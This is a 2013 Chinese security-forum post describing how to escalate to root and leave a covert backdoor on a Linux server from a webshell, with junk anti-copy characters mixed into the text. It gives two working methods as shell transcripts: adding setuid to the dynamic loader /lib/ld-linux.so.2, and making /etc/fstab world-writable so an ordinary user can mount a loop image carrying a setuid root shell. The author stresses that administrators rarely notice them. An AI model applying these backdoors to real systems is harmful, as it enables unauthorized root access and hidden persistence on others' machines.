找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2960|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
4 v/ \' H: i% N! R: v& I1 X7 S7 E. z- A$ }+ f5 b+ D/ s' @2 U
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
5 M- Y$ W( i( I! y3 ulrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究2 u9 E4 l  ^. H1 M2 Y
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究, ~0 Q& @! Z; ]' [, `3 X
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
: a% ]4 Q4 g$ c3 D4 O' W[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
1 N3 ~+ E2 Z, H5 H: {6 H-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究3 A7 C% P  l, o6 G. O1 i+ w2 r
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
: z% v& ?! G2 `) F* g; S( m7 o$ B[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究/ Z& Y$ c2 A* I1 _; G
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
8 b4 h1 Z% Y( N! T. V$ q/ U. C! A
5 N2 X9 ?/ e  ?普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
, y0 p9 d+ t: B0 e9 A" u4 {, ^0 C6 n# m- W: H$ Q
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究! R2 x9 e, u. X! Z" o
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
! D  O. U/ Y$ ]3 E8 ]5 o. k[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
/ Z) W+ f9 M" r& t8 qroot2ezX-BUG-关注前沿信息安全技术研究
) X5 Q* x4 U/ T  h[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究) f2 ^& S# l* u. \. F$ X# w' N5 G2 N
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究; Q7 H8 z. q$ W/ M' G2 F
# i9 e8 s7 N9 g. V
方法二:2ezX-BUG-关注前沿信息安全技术研究/ Y% _; ~2 V; ]* r

0 u; K/ g( [% \7 E# ?( |看过程:2ezX-BUG-关注前沿信息安全技术研究
' p/ |, D" H% w( J* q/ m0 Q6 }) \# Z/ Q3 f& J
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
  f$ s$ y! W/ A  X9 ]% P) M/ m# B) ?[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究
7 M( D+ l0 q  q5 Y. {' e3 k3 Y. {" `5 x; w( U1 Q
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
* y$ Z3 {" J- p: o% x, V; E$ {5 Z" K
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究0 A) R- L, Q2 c% N: V0 A& |' T
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
6 B$ z3 \$ y3 V: D) t[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究9 s; Z( n6 F  e) t. H# E+ i6 x0 F
$ U' }3 |: @: n9 f3 a8 R8 D8 g1 f
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
4 O" x' T, }& c+ Q) d7 G
! y8 N) G* w4 M. K$ X; b* @& N[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
) K# ^9 K! p1 R. _6 S( L2 J- _# C-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
" J7 M: G9 @/ T# \& e% D% [4 }; i[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究( O1 a/ R7 o- w
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
! u& N: |, ]# [0 g, ?[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
, c; ]6 ]* s) z. ]* N. s! }total 182ezX-BUG-关注前沿信息安全技术研究
: ^0 f. z0 j  c- ]8 e9 r, ~1 {7 idrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
, g5 r7 U( u" U3 W' h/ Q# c8 S-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
+ M7 d0 u: o" _3 j' q# s[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
# i' s# K8 H  w& \6 g( B7 ish-3.2#2ezX-BUG-关注前沿信息安全技术研究# x4 t5 J* C- K4 i) m
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
9 ~( z. w- X; j# q/ N( u8 `8 G* Btest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
, g/ ?6 d* S% S3 L: `: D5 ?' t4 W
. E1 N' y& T7 I( Z/ F/ d貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究0 _" l9 U! L. @4 H
2ezX-BUG-关注前沿信息安全技术研究% n( a/ u9 k7 S1 w* b
6 f) u2 [& s8 w9 C9 P: E* h
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表